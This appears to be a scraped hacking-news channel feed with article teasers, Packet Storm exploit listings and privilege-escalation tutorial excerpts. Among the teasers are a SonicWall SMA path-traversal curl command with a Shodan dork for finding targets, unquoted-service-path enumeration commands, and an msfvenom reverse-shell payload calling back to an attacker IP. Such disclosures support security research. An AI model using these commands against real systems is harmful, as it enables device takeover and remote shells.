Hacking on Medium
Services On The Dark Web Are Now Cheaper Than Ever

https://cdn-images-1.medium.com/max/1280/1*W9jdXFW4cW4B6YgcB9FUvQ.jpeg
An experiment done by Bitglass in 2015 has been recreated by generating a fictional identity that sells login and password data. In…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
XSS(CROSS-SITE SCRIPTING)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
⭐ [BEST SELLER] — Profit Hacking, Gagner de l’argent sans travailler ! ⭐

J’ai toujours été fasciné par l’idée de gagner de l’argent sans travailler. Cela semble être un rêve devenu réalité pour ceux qui veulent…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Copa Tianfu: hackean iOS 15, Chrome, Windows; Ubuntu, VMWare, etc.

https://cdn-images-1.medium.com/max/1386/0*v7pmmz3vU4U79NXN
PUBLICADO EN 20 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SonicWall SMA 10.2.1.0-17sv Password Reset

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
SonicWall SMA version 10.2.1.0-17sv suffers from a remote password reset vulnerability.

MD5 | fc825fd8b67124f85d0945de3adb5652

Download
# Exploit Title: SonicWall SMA 10.2.1.0-17sv - Password Reset
# Description: Overwrite the persistent database, resulting in password reset on reboot.
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22Virtual+Office%22+%22Server%3A+SonicWall%22
# Date: 10/19/2021
# Exploit Author: Jacob Baines (@Junior_Baines)
# Root Cause Analysis: https://attackerkb.com/topics/23t9VCbGzt/cve-2021-20034/rapid7-analysis?referrer=profile
# Vendor Homepage: https://www.sonicwall.com/
# Version: SMA 100 Series using 9.0.0.10-28sv, 10.2.0.7-34sv, and 10.2.1.0-17sv
# Tested on: SMA 500v using 9.0.0.10-28sv and 10.2.1.0-17sv
# CVE : CVE-2021-20034

curl -v --insecure "https://10.0.0.6/cgi-bin/handleWAFRedirect?hdl=../flash/etc/EasyAccess/var/conf/persist.db"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Macro Expert 4.7 Unquoted Service Path

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Macro Expert version 4.7 suffers from an unquoted service path vulnerability.

MD5 | 51532c02ab263da0f098a4deb631668b

Download
# Exploit Title: Macro Expert 4.7 - Unquoted Service Path
# Exploit Author: Mert DAŞ
# Version: 3.11.8
# Date: 20.10.2021
# Vendor Homepage: http://www.macro-expert.com/
# Tested on: Windows 10

C:\Users\Mert>sc qc "Macro Expert"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Macro Expert
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\program files (x86)\grasssoft\macro
expert\MacroService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Macro Expert
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
---------------------------------------------

Or:
-------------------------
C:\Users\Mert>wmic service get name,displayname,pathname,startmode |findstr
/i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Stored Credentials

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting Stored Credentialsis one technique to increase privileges. Introductionlets you view and deletes your saved credentials for signing in to websites, connected applications, and networks. It is like a digital vault to keep all of your credentials safe. Web credentials:As Edge and widows are the product of the same company, the credentials manager has access to the stored information of the Edge browser too, in order to increase the safekeeping of saved credentials. It also stores the password of order applications provided by Microsoft such as skype, Microsoft office, etc.Windows credentials:Under this category, all the windows login credentials can be found. Along with any system that is connected to the network. user accounts > credential manager.Abusing Stored CredentialIf an attacker identifies stored credential entry for an administrator account then the attacker can go for privilege escalation by executing a malicious file with the help of runas utility.Create Malicious Executable To get a reverse shell as NT Authority SYSTEM, let’s create a malicious exe file that could be executed using runas utility. It allows a user to run specific tools and programs with different permissions than the user's current logon provides.msfvenom –p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 –f exe > Vuln.exe python –m SimpleHTTPServer 80___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Windows Privilege Escalation: Stored Credentials (Runas)

Microsoft Windows offers a wide range of fine-grained permissions and privileges for controlling access to Windows components including services, files, and registry entries. Exploiting Stored Credentials is one technique to increase privileges. Table of Content Introduction Credential Manager Web credentials Windows credentials Abusing Stored Credential Create Malicious Executable Introduction Credential

The post Windows Privilege Escalation: Stored Credentials (Runas) appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses
https://www.reddit.com/r/redteamsec/comments/qc4j42/utilizing_programmatic_identifiers_progids_for/

submitted by /u/v3ded (https://www.reddit.com/user/v3ded)
[link] (https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses) [comments] (https://www.reddit.com/r/redteamsec/comments/qc4j42/utilizing_programmatic_identifiers_progids_for/)

___________________________
@hacking_Attack
@Hacking_Video

WHAT IS CLICKJACKING ?
https://medium.com/@krithik.hack/what-is-clickjacking-c11b0881590e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into…Continue reading on Medium » (https://medium.com/@krithik.hack/what-is-clickjacking-c11b0881590e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Deepfake Audio Scores $35M in Corporate Heist

A combination of business email compromise and deepfake audio led a branch manager to transfer millions to scammers, in a case that serves as a warning to organizations.